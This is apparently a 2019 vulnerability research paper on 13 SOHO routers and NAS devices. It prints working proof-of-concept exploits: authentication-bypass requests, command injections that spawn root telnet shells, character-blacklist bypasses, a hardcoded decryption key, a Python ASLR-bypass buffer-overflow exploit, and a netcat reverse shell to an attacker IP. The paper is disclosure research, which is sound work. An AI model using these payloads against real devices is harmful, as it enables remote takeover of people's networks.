Research Paper

September 2019

SOHOpelessly Broken 2.0:

Security Vulnerabilities in Network Accessible Services

Shaun Mirani
Joshua Meyer
Rick Ramgattie
Ian Sindermann

Abstract

Internet of Things (IoT) devices have always been vulnerable to a variety of security issues. In 2013, Independent Security Evaluators (ISE) performed research on IoT devices that showed how rich feature sets could be leveraged to compromise devices. Today, we show that security controls put in place by device manufacturers are insufficient against attacks carried out by remote adversaries. This research project aimed to uncover and leverage new techniques to circumvent these new security controls in embedded devices.

Introduction

Embedded devices are special-purpose computing systems. These types of systems include industrial controllers, small office/home office (SOHO) routers, network-attached storage devices (NAS), and IP cameras. Internet-connected embedded devices are often placed into a broader category referred to as IoT devices.

In 2013, we evaluated the security of IoT devices focusing on routers and NAS devices in the small office/home office market. This research was titled SOHOpelessly Broken and demonstrated how extraneous functionality could be leveraged to compromise IoT devices remotely. SOHOpelessly Broken resulted in 52 CVEs issued for newly discovered vulnerabilities.

In the current iteration of our research, **SOHOpelessly Broken 2.0**, we assessed the security of 13 SOHO router and NAS devices and found vulnerabilities resulting in 125 CVEs. We focused on these types of devices because of their security implications to networks and because we wanted to see what improvements, if any, had been made to the security performance of these devices since our prior research efforts.

Despite the increased attention to security claimed by device manufacturers, these IoT devices do not have sufficient security controls to prevent remote exploitation.

This paper begins by introducing the IoT devices that were assessed. Second, we describe the threats we considered and our methodology for assessing each device. Third, we discuss the security controls implemented on the target devices and demonstrate the attacks we used to beat or circumvent these security functionalities. Fourth, we compare our findings to those from our initial research, which we refer to as SOHOpelessly Broken 1.0. Finally, we discuss the responsible disclosure process we used and draw conclusions from our research.

Research Devices

We chose devices from a range of manufacturers so as to best evaluated the industry landscape, rather than draw broader assumptions from a single deep-dive into one brand. Our targets ranged from devices designed for general consumers to high-end devices designed for enterprise use. A majority of the targets' manufacturers are considered reputable and well-known in the industry; others are from newer companies that are expanding their market share. In addition to these new devices, we included some devices from earlier research to make a determination whether or not manufacturers have improved their security approach or practices over the years.

Devices in SOHOpelessly Broken 2.0	
Device	**Firmware Version**
Buffalo TeraStation TS5600D1206*	3.61-0.08
Synology DS218j	6.1.5
TerraMaster F2-420	3.1.03
Zyxel NSA325 v2*	4.81
Drobo 5N2	4.0.5-13.28.96115
Asustor AS-602T*	3.1.1
Seagate STCR3000101	4.3.15.1
QNAP TS-870*	4.3.4.0486
Lenovo ix4-300d*	4.1.402.34662
ASUS RT-AC3200	3.0.0.4.382.50010
Netgear Nighthawk R9000	1.0.3.10
TOTOLINK A3002RU	1.0.8
Xiaomi Mi Router 3	2.22.15

*These devices were previously featured in research by ISE

All 13 of the devices we evaluated had at least one web application vulnerability such as cross-site scripting (XSS), operating system command injection (OS CMDi), or SQL injection (SQLi) that could be leveraged by an attacker to get remote access to the device's shell or gain access to the device's administrative panel. We obtained root shells on 12 of the devices, allowing complete control over the device including 6 which can be remotely exploited without authentication: the Asustor AS-602T, Buffalo TeraStation TS5600D1206, TerraMaster F2-420, Drobo 5N2, Netgear Nighthawk R9000, and TOTOLINK A3002RU.

Configuration of Devices

Our targets were all updated to the latest supported publicly-available firmware then evaluated from their "out-of-the-box" configuration. This state typically include features designed to make the device easier to use. For example, NASs will typically enable file sharing protocols, and routers may enable services such as uPnP that are designed to facilitate intra-network device

communication. We completed any initial setup wizards and enabled any recommended security features when they were presented. Since users commonly utilize these devices with the settings configured during initial setup, we wanted to mimic typical use configurations.The devices that were under evaluation were not purposely made insecure to aid us in vulnerability discovery by disabling default security features. Our goal was not to identify issues with the default configuration of these devices, it was to identify poorly developed functionality.

Methodology

Our objective was to remotely compromise our targets such that we could execute arbitrary system commands and functions with full root-level access without any form of authentication. Before assessing the system to find vulnerabilities that would accomplish our goal, we needed to understand the threats these devices may face.

Threats

Due to their reputation for poor security and the vantage point of IoT devices on the network they attract a number of threats. These assets face potential adversaries ranging from highly skilled attackers to actors using premade exploit toolchains. We considered authenticated users as well as adversaries on the local network and across the Internet as potential threats.

We considered remote adversaries as they may be able to attack devices in a local network, over the Internet through features such as port-forwarding, or because the device is an Internet gateway that accepts request over a wide-area network. Even without such features, adversaries could leverage other devices in an internal network and carry out cross-site request forgery (CSRF) and domain name system (DNS) rebinding attacks.

With these threats in mind, we return to our objective: **remotely obtaining root-privileged access without any authentication**. The following section details our process for finding vulnerabilities in our targets.

Assessment Workflow

This section covers the steps we took to identify vulnerabilities in our targets. Our intention was to identify potential attack surfaces and vulnerabilities that an advanced, targeted attacker might exploit to gain access to the system or other system specific resources. When necessary, automated tools were used, but more frequently, hands-on manual assessments of application components were performed to ensure that we conducted an accurate and complete review.

Our assessment process was broken into four phases:

1. Reconnaissance
2. Service enumeration
3. Gaining access
4. Exploit development

During the reconnaissance phase, we passively gathered as much information as we could about each device. We looked into the device's functionality, reviewed its purpose, and completed any initial setup tasks. We also downloaded and requested any open source code the manufacturer may have used. Source code gave us insight into what libraries were used by each device.

After initial reconnaissance, we began enumerating the default services available on each device. We focused on network accessible services as we were interested in identifying remotely exploitable vulnerabilities. We documented the version number of each service, mapped each web application, and gathered network traffic.

Next, we used what we learned during the service enumeration phase to identify vulnerabilities. When possible, we used shell access to the device during this phase to review source code and binaries used by network accessible services.

During the gaining access phase, we audited each device for vulnerabilities that granted us full access to our targets. After identifying vulnerabilities, we built proof-of-concept attacks (PoCs). When building our PoCs, we often combined or "chained" vulnerabilities to reduce the level of access required to remotely compromise a device. For example, we chained CSRF with CMDi to launch attacks that targeted authenticated users and abused their access to remotely compromise their device.

Circumventing Security Controls

In 12 of the 13 devices, we were able to achieve our goal of **remote root-level access**. The table below shows the types of vulnerabilities we identified in our targets.

	Buffer Overflow	Cross-Site Scripting	Command Injection	SQL injection	Authentication Bypass	Authorization Bypass	Cross-Site Request Forgery	File Upload Path Traversal
Buffalo TeraStation TS5600D1206		✓	✓		✓	✓		✓
Synology DS218j*								
ASUS RT-AC3200	✓	✓	✓					
Netgear Nighthawk R9000		✓	✓		✓	✓		
TerraMaster F2-420		✓	✓	✓	✓	✓	✓	✓
Drobo 5N2**		✓	✓		✓	✓		✓
Zyxel NSA325 v2			✓				✓	
TOTOLINK A3002RU		✓	✓		✓	✓	✓	
Asustor AS-602T		✓	✓					✓
Seagate STCR3000101		✓		✓				✓
QNAP TS-870		✓	✓				✓	✓
Mi Router 3		✓	✓					
Lenovo ix4-300d		✓	✓				✓	✓

* The issues we reported to Synology (Session Fixation and the ability to Query Existence of Arbitrary Files) were included in this table.
** Though the Drobo does not include a web application by default, we include vulnerabilities that appear in its optional web application here.

The following sections detail our targets, the security controls we encountered in a portion of our devices, and how we defeated each security control.

Buffalo TeraStation TS5600D1206

The Buffalo TeraStation TS5600D1206 is an enterprise-grade NAS that features a web application where users manage the services running on their device. The TeraStation was previously featured in ISE's research and has been since been updated to its latest firmware and included in SOHOpelessly Broken 2.0.

The TeraStation's web application uses browser cookies as part of their authentication workflow and a JSON-RPC API available at the /nasapi endpoint to interact with the device. Whenever the user issues a request to an API endpoint, the backend verifies that the request contains a cookie that has been associated with a valid user and then verifies the user's authorization. We discovered that changing the HTTP *Host* request header to *127.0.0.1* or *localhost* (the IP address and name for the loopback interface) bypasses authentication and authorization checks. As a result, any user with network level access to this device can issue requests without authentication.

A proof of concept request to activate the NAS's find device feature, is shown in the POST request below.

```
POST /nasapi/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 76
Connection: close

{"jsonrpc":"2.0","method":"sound.find_location_device","id":"1536265876914"}
```

This vulnerability could be used to enable or disable services, or perform other actions available through the web application.

In addition to this authentication bypass, we found an OS CMDi vulnerability in the TerraStation's user creation workflow.

User creation follows a two-step process where the username is first stored in a database then retrieved and passed as an argument to the *pdbedit* system command. While this seems like a straightforward command injection vulnerability, we ran into a complication (blacklist) that prohibits usernames to contain certain special characters, i.e., `(-_.!#&@$*^%)`.

With knowledge that the command processor used on the TeraStation is Bash, we could utilize built-in variables that can be used in place of the blacklisted characters. Considering this, we used the following shell variables to build our final payload:

$IFS is the *Internal Field Separator* and it can be used in place of the *space* character.

$@ expands to *positional* parameters. In the case of our exploit, this expands to nothing because we are not passing any parameters to the subshell.

$SHELL is the executing user's preferred shell. In the case of the user launching this process, the preferred shell is */bin/bash*.

With these variables, we can craft this payload depicted below.

```
ISEUserName$IFS&telnetd$IFS-p$IFS$@8383$IFS-l$IFS$@$SHELL
```

Which evaluates to the figure below when processed by Bash.

```
ISEUserName &telnetd -p 8383 -l /bin/bash
```

This payload will result in a user named ISEUserName being created and a telnet server being spawned as the root user listening on port 8383.

The attacker can issue the following requests to first create the payload in the database and then trigger the command injection.

```
POST /nasapi/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 249
Connection: close

{"jsonrpc":"2.0","method":"User.create","params":{"name":"ISEUserName$IFS&telne
td$IFS-p$IFS$@8383$IFS-l$IFS$@$SHELL","mail":"ise@securityevaluators.com","pass
word":"test123","use_quota":0,"group_id":100,"sub_group_ids":[100]},"id":"15361
80329935"}
```

Request 1

```
POST /nasapi/ HTTP/1.1
Host: 127.0.0.1
Content-Length: 82
Content-Type: application/json
Connection: close

{"jsonrpc":"2.0","method":"apply_settings","params":{},"id":1529015375895"}
```

Request 2

With the combination of an authentication bypass and a OS CMDi vulnerability, we demonstrate how attackers can circumvent some of the security controls Buffalo implemented on the TeraStation to obtain root privileges.

ASUS RT-AC3200

The ASUS RT-AC3200 is a SOHO router that runs ASUS's ASUSWRT firmware. ASUSWRT provides a web server, known as httpd or milli_httpd, that provides users with router management functionality.

ASUS provides the source code for many of the router's programs, including for httpd, under the terms of the GNU General Public License. While reviewing httpd's source code, we found frequent references to the following C macro:

```
#define websWrite(wp, fmt, args…) ({ int TMPVAR = fprintf(wp, fmt, ## args); fflush(wp); TMPVAR; })
```

This macro writes formatted data to a FILE pointer, which in this case is an HTTP connection, using fprintf(). This introduces the possibility for an uncontrolled format string vulnerability. C's formatted print functions use specifiers such as `%s` to indicate a string, `%d` for integers, and so on. An interesting specifier is `%x`, which can be used to read bytes in hexadecimal format from the stack.

We used this format string vulnerability to bypass ASUSWRT's address space layout randomization (ASLR). In simple terms, ASLR randomizes the locations of segments in memory between different runs of a program. As a result, it is difficult to exploit buffer overflow vulnerabilities to achieve code execution as the addresses of exploitable code are unpredictable. Fortunately, we were able to find an uncontrolled format string vulnerability that allowed us to disclose pointers saved on the call stack.

We then used the disclosed pointers in conjunction with a buffer overflow we found in `/appGet.cgi` to gain remote code execution on the device. In the Python script below, we use our format string vulnerability to disclose theses addresses then leverage this information to bypass ASLR, and develop a buffer overflow exploit that launches a shell using a combination of return oriented programming (ROP) and the well-known return-to-libc technique.

```
#!/usr/bin/env python

# Usage:
#  ./rt-ac3200_CVE-2018-14712.py <target host> <target port> <admin username>
<admin password>

import base64
import requests
import struct
import sys

gadget_offset = 0x23d0
system_offset = 0x29f8
cmd_offset = -0x2038

(host, port) = (sys.argv[1], sys.argv[2])
url = ('http://%s:%s' % (host, port)) if port != '80' else 'http://%s' % host
username = sys.argv[3]
password = sys.argv[4]

s = requests.Session()

s.post(url + '/login.cgi',
    headers={'Referer': url + '/Main_Login.asp'},
    data={'login_authorization': base64.b64encode(username + ':' + password)})

leak = s.get(url + '/appGet.cgi', params={
    'hook': 'nvram_match("wan_proto","dhcp","%p,%p,%p,%p,%p,")'
}).content

print(leak)

lib_base = int(leak.split(',')[4], 16)
stack_base = int(leak.split(',')[2], 16)

gadget = struct.pack('I', lib_base + gadget_offset)
system = struct.pack('I', lib_base + system_offset)
cmd = struct.pack('I', stack_base + cmd_offset)
```

```
if '\x00' in gadget or '\x00' in system or '\x00' in cmd:
       print('NULL byte detected: exploit will fail. Try again when server
restarts.')

r = s.get(url + '/appGet.cgi', params={
    'hook': 'delete_sharedfolder()',
    'folder': 'A',
     'pool': 'A'*44 + gadget + cmd + 'A'*24 + system + 'telnetd -l /bin/sh -p
1234'
})

print(r.content)
```

Asus makes use of ASLR to guard against buffer-overflow attacks by randomizing the location in memory where system executables are loaded. We were able to use a format string vulnerability to circumvent this security control and effectively exploit a stack based buffer overflow we discovered on the device.

TerraMaster F2-420

The TerraMaster F2-420 is a NAS that allows users to manage files, install additional applications, and administer the device. Its primary user interface is a web application. This device has functionality to support multiple user accounts, differentiating between standard users and administrators.

The authentication workflow provides users with a session token as a cookie after the user supplies a correct username and password combination. After a user has a valid session cookie they are able to navigate the Terramaster web application interface to access the device's functionality.

Although typical navigation of the web application verifies the user's permissions and authentication, some areas of the application and its API fail to enforce authorization, and in some cases authentication. The lack of authentication on certain API requests grants remote unauthenticated attackers the ability to bypass front-end only access controls on the F2-420.

During our analysis of the F2-420 we needed to identify services that would grant us the ability to gain root shell access. Although we could have mapped out the entire application and *fuzzed* each input field with common command injection payloads, we instead attempted to analyze each PHP file and determine which ones *shell-out* with user provided input.

Instead of storing the PHP source files on the device as is common with PHP web applications, TerraMaster encrypts the source files making them unreadable by attackers with filesystem access in an attempt to hinder reverse engineering efforts. This security control does not directly help protect users; rather, this is a security control designed to protect TerraMaster's application source code.

However, because the encrypted files must be decrypted before they can be processed by the PHP interpreter, the decryption key must be stored on the NAS. TerraMaster makes use of the *screw_aes* library and the key to decrypt each source file is hardcoded in the *php* binary on the device's file system. We extracted this key and decrypted each file manually with the following command.

```
find . -name '*.php' -exec bash -c "openssl aes-256-cbc -d -K
383432643432623938383736663538316630646662656662306364326235633 3 -iv 0 -in {} >
{}.dec.php " \;
```

With access to the application's source code we can quickly search for dangerous functions, find hidden application endpoints, and find authentication and authorization logic. After reviewing the source code, we identified the `/include/ajax/logtable.php` endpoint, which does not check requests for authentication data. This endpoint interacts with a database using Linux system commands called using PHP's `system()` function. Attackers can use these attributes to achieve unauthenticated root system command injection. A sample payload is shown in the POST request below.

```
POST /include/ajax/logtable.php HTTP/1.1
Host: NASIP:5443
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

tab=gettotal&Event=%60/usr/sbin/telnetd%20-l%20/bin/sh%20-p%208383%60&table=ac
cess_syslog
```

This HTTP POST request causes the NAS to create a telnet server listening on port 8383. Attackers may connect to this telnet server without authentication and execute arbitrary system commands.

Security controls on the Terramaster F2-420 are easily bypassed by issuing requests directly to the device's API. Through reverse engineering, adversaries can circumvent security controls put in place to protect TerraMaster's PHP web application source code by extracting the static key stored in the *php* binary and then decrypting each file manually.

Drobo 5N2

The Drobo 5N2 is a NAS that allows users to install additional applications, administer the device, host additional web applications and databases, and serve as a network accessible storage device. The 5N2 is unique in comparison to the other devices in this study as it does not feature any sort of web application by default. Instead, the primary user interface is a desktop application for Windows and macOS called Drobo Dashboard

Drobo Dashboard communicates with NASd, a custom service that runs on the 5N2 and listens on TCP ports 5000 and 5001. NASd uses a custom protocol that attackers must reverse engineer in order to communicate with the service. Fortunately, the protocol can be understood after observing normal traffic between Drobo Dashboard and NASd.

The NASd protocol uses the device's serial number for authentication. While this is ordinarily a poor form of authentication as the number can be found on the device itself and possibly elsewhere, the device also provides its serial number to anything that connects to port 5000, also known as the *stat* port. Connections made to port 5001, the *cmd* port, must include the serial number. For an in-depth look at the NASd protocol as well as a proof-of-concept program to interact with a Drobo 5N2, please refer to our Appendix.

With knowledge of the custom protocol, we can use NASd to install Drobo's NAS applications. These applications, including the web application DroboAccess, had a number of vulnerabilities in them. DroboAccess has a command injection vulnerability that allows unauthenticated attackers to execute arbitrary system commands with root privileges. The following GET request shows a proof of concept request to start a telnet server.

```
GET
http://192.168.1.26:8080/DroboAccess/enable_user?username=test';/usr/sbin/telne
td%20-l/bin/sh&enabled=true
```

The security of the NASd protocol relies exclusively on the protocol being obfuscated and proprietary. Sufficiently skilled adversaries can reverse engineer proprietary protocols, to then leverage the pervasive issue of missing authentication. After the attacker has successfully exploited missing authentication measures, they can install other applications. When we installed DroboAccess we discovered that there were many authenticated pages that shelled out to the underlying OS to issue commands that contain unsanitized user input granting us remote access with root level permissions.

Zyxel NSA325 v2

The Zyxel NSA325 v2 was previously exploited by ISE in earlier research projects. After updating it to the latest firmware, we set out to determine whether the NSA325's security has improved over time.

The NSA325's web application is distinctive for using two custom binaries, *zysh* and *zyshclient*, the latter of which has a command-line interface. Various requests to the web application's API result in *zyshclient* being called with various parameters passed using a Unix pipe. As a result, traditional command injection techniques cannot be used.

Fortunately for security researchers, *zyshclient* may also be used interactively. After enabling telnet and logging into the NAS, *zyshclient* can be started resulting in a prompt similar to output shown below.

```
~ $ zyshclient
>
```

Tab completion is functional, allowing us to obtain a list of zyshclient's supported functions by pressing the tab key.

```
~ $ zyshclient
>
<cr>                          mrd
apply                         nfs
arp                           no
atse                          nslookup
aux                           package
backdoor                      packet-trace
browse                        ping
charDecoder                   pwron
clear                         reboot
configure                     release
connect_remote_share          rename
copy                          renew
debug                         rollback
delete                        run
dir                           show
disable                       show_remote_smb_shares
disconnect_remote_share       show_zysync_server_contents
domainami                     shutdown
dropbox                       storage
```

```
dservice                        tdc
enable                          test_connection
exit                            time_machine
fad                             traceroute
file                            ucopy
fileye                          user
gdrive                          uzync
import                          webdisk
interface                       whoami
ip                              wlan
ipcam                           write
job_controller                  zy-pkgs
load                            zyfw
media
```

After testing these functions, we determined that *package* executes Linux system commands. The output shown below contains the whoami command which indicates the process is executed as root.

```
> package whoami
root
retval = -1
ERROR: Parse error/command not found!
```

We can now use the *package* command to exploit OS CMDi. Next we have to:

1. Identify a web API request that calls *zyshclient*
2. Terminate the *zyshclient* command
3. Inject a command using the package function

The POST request below shows an HTTP request that fufills these requirements and spawns a telnet server on port 8383.

```
POST /cmd,/ck6fup6/fileBrowser_main/browse HTTP/1.1
Host: 192.168.1.86
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:61.0) Gecko/20100101
Firefox/61.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 55
Cookie: language=en; ys-showedHomeBtnTooltip=b%3A1;
ys-showedViewBtnTooltip=b%3A1; target=admin;
authtok=572bvNtoFMUOot7PmFjGMNEfA61rZi3zntTm+KOnp9GXMicP6oUYt4AYcYfFbeME;
ys-video_autoResume=b%3A1; ys-warnInstallPlayer=s%3Ayes;
ys-warnVersionPlayer=s%3Ayes; ys-playerVolume=s%3A100
```

```
share=admin&path=%2Fdownload"+%3b+package+telnetd+-l+/bin/sh+-p+8383+%3b+dir+"
/&start=0&limit=26&view=grid
```

An unencoded form of the payload sent in the path parameter is shown below.

```
/download" ; package telnetd -l /bin/sh -p 8383 ; dir "/
```

This request is also vulnerable to CSRF attacks, where an attacker can trick an authenticated user into issuing this request. All the attacker needs to do is wait for the user to visit a malicious page that issues this request cross-origin and send the user's cookies along.

While the use of Unix pipes serves as a security control that prevents traditional command injection, user input is sent to a service that evaluates arbitrary commands on the device's underlying operating system shell. Chaining our OS CMDi exploit along with CSRF we are able to remotely compromise our target with little user interaction.

Xiaomi Mi Router 3

Xiaomi is a popular brand from China that offers the Mi Router 3, a SOHO router. Administrative functionality is implemented in Lua and follows an Model-View-Controller (MVC) like architecture. While assessing this device, we first analyzed how requests are routed then accessed each implemented route for vulnerabilities.

Following these methods we discovered, in `luci/controller/api/misns.lua`, that the URL endpoint `/cgi-bin/luci/;stok=<stok>/api/misns/wifi_access` makes use of GET URL parameters that are passed as the arguments to a shell command. In the figure below we illustrate the parameters used when issuing request to this endpoint. In this request, <stok> is the user's session token and <mac> is the MAC address to add to wifi_access.

```
GET
/cgi-bin/luci/;stok=<stok>/api/misns/wifi_access?mac=<mac>&sns=<sns>&grant=1&gu
est_user_id=guid&timeout=timeout
```

The controller for this request has a helper function for ensuring these parameters are either nil, or do not contain a blacklisted set of shell metacharacters characters that could be used to break out of the shell argument context. The following characters are blacklisted by the Mi Router:

```
[`;|$&{} ]
```

We were able to use newline characters (%0A) instead of semicolons and tabs (%09) instead of spaces to bypass the character blacklist. Using these characters, attackers can inject commands into the `sns` parameter. A sample GET request is shown in below.

```
GET
/cgi-bin/luci/;stok=88de3a3ba0e9a64f50124fbf669f088f/api/misns/wifi_access?mac=
00:00:00:00:00:00&sns='%0atouch%09/tmp/ise%0a%23&grant=1&guest_user_id=guid&tim
eout=timeout HTTP/1.1
```

This character bypass shows how attackers could circumvent some of the security controls Xiaomi placed on the device. In addition to the vulnerability discussed above, this same endpoint is vulnerable to a command injection attack that is not restricted by the character blacklist at all. Due to a bug in the web application's logic, the timeout parameter is never validated against the blacklist. This allows attackers to use any command injection payload, regardless of character set. The GET request below shows an example request that spawns a reverse shell that connects to the attacker's machine at 192.168.31.82 on port 9001.

```
GET
/cgi-bin/luci/;stok=d714f92968bb8cc6466f87c8618dfc30/api/misns/wifi_access?mac=
00:00:00:00:00:00&sns=sns&grant=1&guest_user_id=guid&timeout='%3bmkfifo+/tmp/p%
3bcat+/tmp/p|/bin/sh+-i+2>%261|nc+192.168.31.82+9001+>/tmp/p+%23 HTTP/1.1
Host: 192.168.31.1
```

We were able to circumvent Xiaomi's security controls by first determining which characters were blacklisted, listing other metacharacters accepted by the shell, and finally substituting the blacklisted characters for others that are interpreted equally. As noted above, we also found other endpoints with programming logic errors that allowed us to circumvent the blacklist entirely.

Netgear Nighthawk R9000

The NETGEAR Nighthawk X10 R9000 is a high-end flagship router, supporting a variety of traffic management and administrative features. The primary user interface for this device is a web application, but a SOAP-based mobile application is also available. Within either interface, an administrator may manipulate common network settings, view device logs, manage Quality of Service as well as various other settings.

Initial testing of the administrative mobile application revealed that the "`X-Forwarded-For`" HTTP header is interpreted by the application. This header is commonly used by load balancers to convey a client's IP address to downstream services, but it can lead to unexpected issues if used improperly. This device appears to interpret the header's contents as the client's real IP

address, overriding any previous values. This device also appears to whitelist requests from its own IP address, allowing internal use of the API without managing authentication. When combined, these two functionalities give an attacker the ability to bypass all authentication checks on the SOAP API. This is due to the fact that the X-Forwarded-For HTTP header is client-controlled, and the device is not protected by any sort of load balancer or reverse proxy. Furthermore, the X-Forwarded-For header is not a forbidden header. As such, it may be sent via XHR requests in JavaScript.

During initial testing and scanning, we also turned to hidden, but well documented, debug endpoints in the web interface. The page at "`/debug.htm`" is particularly useful, as it allows an authenticated user to spawn a telnet server and gain access to a root shell. This is not a vulnerability, as access requires the administrator's username and password, but this feature does provide a useful foothold for further instrumentation and analysis of the device. Using this foothold, we were able to perform static analysis of the web application, locate potentially vulnerable code paths, and then perform live analysis of targeted code paths.

Our analysis determined that the SOAP API performed numerous calls to a shell, some of which appeared to contain dangerous user input. Although most of these dangerous calls were inaccessible, we were able to observe user input passing through "`AdvancedQoS:1#GetCurrentBandwidthByMAC`" via the "`NewDeviceMAC`" element. However, this input is heavily mangled. The following limitations apply:

- No more than 17 characters may be used.
- At least one colon must be included to prevent mangling.
- A single-quote and meta-character must be used to break out of the existing command.
- Parent command remnants after the injection point must be dealt with.
- The payload must be in all-caps.

Despite these limitations, we were still able to gain access to an interactive root shell via this vulnerability. Since the web server assigns certain HTTP headers to environment variables with all-caps names, it is possible to insert a payload into one such header and reference the subsequent environment variable in the injection point. A fully-functional PoC capable of spawning an unauthenticated bind shell on port 8383 is provided below. Note that the "`SessionID`" element is not checked and may be any value.

```
POST /soap/server_sa/ HTTP/1.1
SOAPAction: urn:NETGEAR-ROUTER:service:AdvancedQoS:1#GetCurrentBandwidthByMAC
X-Forwarded-For: 192.168.1.1
Range: utelnetd -d -p 8383 -l /bin/sh

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<SOAP-ENV:Envelope>
```

```
<SOAP-ENV:Header>
<SessionID>424F474F4E424F474F4E</SessionID>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<M1:GetCurrentBandwidthByMAC>
  <NewDeviceMAC>:';$HTTP_RANGE ##</NewDeviceMAC>
</M1:GetCurrentBandwidthByMAC>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

Although this attack requires QoS and Advanced QoS services being enabled, as well as authentication, these requirements can be bypassed to achieve successful exploitation on a device in its factory state. Authentication can be bypassed with the aforementioned X-Forwarded-For bypass. Simply add an X-Forwarded-For header with a value of the router's LAN IP address (192.168.1.1). Using this authentication bypass, an attacker can enable QoS and Advanced QoS using the following 4 requests.

```
POST /soap/server_sa/ HTTP/1.1
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#ConfigurationStarted
X-Forwarded-For: 192.168.1.1

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<SOAP-ENV:Envelope>
<SOAP-ENV:Header>
<SessionID>424F474F4E424F474F4E</SessionID>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<M1:ConfigurationStarted>
  <NewSessionID>424F474F4E424F474F4E</NewSessionID>
</M1:ConfigurationStarted>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

Request 1

```
POST /soap/server_sa/ HTTP/1.1
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SetQoSEnableStatus
X-Forwarded-For: 192.168.1.1

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope>
   <soap:Header>
      <SessionID>424F474F4E424F474F4E</SessionID>
  </soap:Header>
  <soap:Body>
```

```
      <M1:SetQoSEnableStatus>
      <NewQoSEnable>1</NewQoSEnable>
      </M1:SetQoSEnableStatus>
  </soap:Body>
</soap:Envelope>
```

Request 2

```
POST /soap/server_sa/ HTTP/1.1
SOAPAction: urn:NETGEAR-ROUTER:service:AdvancedQoS:1#SetQoSEnableStatus
X-Forwarded-For: 192.168.1.1

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope>
   <soap:Header>
      <SessionID>424F474F4E424F474F4E</SessionID>
  </soap:Header>
  <soap:Body>
      <M1:SetQoSEnableStatus>
      <NewQoSEnable>1</NewQoSEnable>
      </M1:SetQoSEnableStatus>
  </soap:Body>
</soap:Envelope>
```

Request 3

```
POST /soap/server_sa/ HTTP/1.1
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#ConfigurationFinished
X-Forwarded-For: 192.168.1.1

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<SOAP-ENV:Envelope>
<SOAP-ENV:Header>
<SessionID>424F474F4E424F474F4E</SessionID>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<M1:ConfigurationFinished>
  <NewStatus>ChangesApplied</NewStatus>
</M1:ConfigurationFinished>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

Request 4

After performing these requests, it will be possible to execute the aforementioned command injection attack. However, the attack may not work immediately. If injection fails, generate web traffic flowing through the router (e.g., load images on a remote web site) and try again.

Although all of the examples shown above assume that an attacker is on the LAN network, they may be performed remotely via DNS rebinding. Such an attack functions similarly to Cross-Site Request Forgery, involving a victim on the router's LAN visiting an attacker-controlled page which instructs the victim's browser to issue malicious requests to the router. DNS rebinding differs from CSRF in that it can bypass cross-origin restrictions but cannot leverage any existing session cookies. For the Nighthawk R9000, this is perfect. The only thing preventing all previously shown PoCs from being executed via JavaScript XHR is request pre-flighting due as it is cross-origin. Since DNS rebinding is seen as a single origin, this pre-flight requirement is no longer applicable. As such, an attacker can force a victim's browser to exploit the victim's router by simply coercing the victim into navigating to an attacker controlled page.

New Developments in IoT Security

The five years between SOHOpelessly Broken 1.0 and 2.0 saw several changes in security controls, as well as the atmosphere around security and vulnerability disclosures. Here, we examine some of the differences between our SOHOpelessly Broken studies.

Technical Changes in IoT Security

In 2013, many IoT devices were designed to be easy-to-use and low-cost. While much of that remains the same, hardware and security advances have allowed for new features, including some designed to enhance security without harming manufacturing costs. For example, in SOHOpelessly Broken 2.0 we observed Asus routers with address-space layout randomization (ASLR), a hardening feature that makes the exploitation of buffer-overflow attacks more difficult. None of the devices in SOHOpelessly Broken 1.0 had ASLR implemented. We also found that some manufacturers have implemented functionality that hinders reverse engineering. The Terramaster F2-420 encrypts files used to serve their PHP web application using a PHP module called “screw_aes”, complicating the process of accessing the source code of the administrative panel. The Seagate STCR3000101 has its own request integrity verification mechanism that prevents attackers from modifying HTTP requests.

Perhaps more interesting is the amount of approaches that have *not* changed since SOHOpelessly Broken 1.0. Features such as anti-CSRF tokens and browser security headers, which are commonplace in mainstream web applications, are still rare among our sample of devices. These defense-in-depth mechanisms can greatly enhance the security posture of web applications and

the underlying systems they interact with. In many cases, our remote exploits wouldn't have worked if customary web application security practices had been implemented.

Non-Technical changes in IoT Security

By 2018, many IoT device manufacturers have taken steps to improve their security efforts. Netgear, Synology, QNAP, and Xiaomi have bug bounty programs that compensate researchers who disclose vulnerabilities. Lenovo and Asus have "hall of fame" pages that recognize researchers who have submitted vulnerabilities through their disclosure program.

In addition to or in lieu of bug bounty programs, some device manufacturers have security contacts that can be used for disclosing vulnerabilities. Typically, this is an email address that can be found on the security page of the manufacturer's website.

Another non-technical change we found in our comparison was the introduction of the CVE Numbering Authorities (CNA) program. Publicly disclosed vulnerabilities are frequently assigned identifiers called Common Vulnerabilities and Exposures (CVE) numbers that simplify security issue tracking for vendors, system administrators, and users. The MITRE Corporation is in charge of managing the program that assigns and manages CVEs. Historically, MITRE was the only entity that could assign CVE numbers; however, this has changed with the CNA program that allows registered companies and organizations to assign CVE numbers. Some of the manufacturers of the devices we assessed were CNAs and provided ISE with CVE numbers.

The CNA program is not without flaws. During our study we attempted to apply for CVEs through Netgear for the vulnerabilities we discovered in the Netgear Nighthawk R9000 but were ignored from December 2018 until April of 2019 when we informed MITRE that we received an email from Netgear stating that they were no longer issuing CVEs as a CNA. In the end, we received CVEs for these issues from MITRE.

With increased attention to security and improved security features one might infer an associated increase in device security. This should result in a reduced number of vulnerabilities, particularly high-severity issues. Based on the devices we included in our study we did not see such results.

Responsible Disclosure

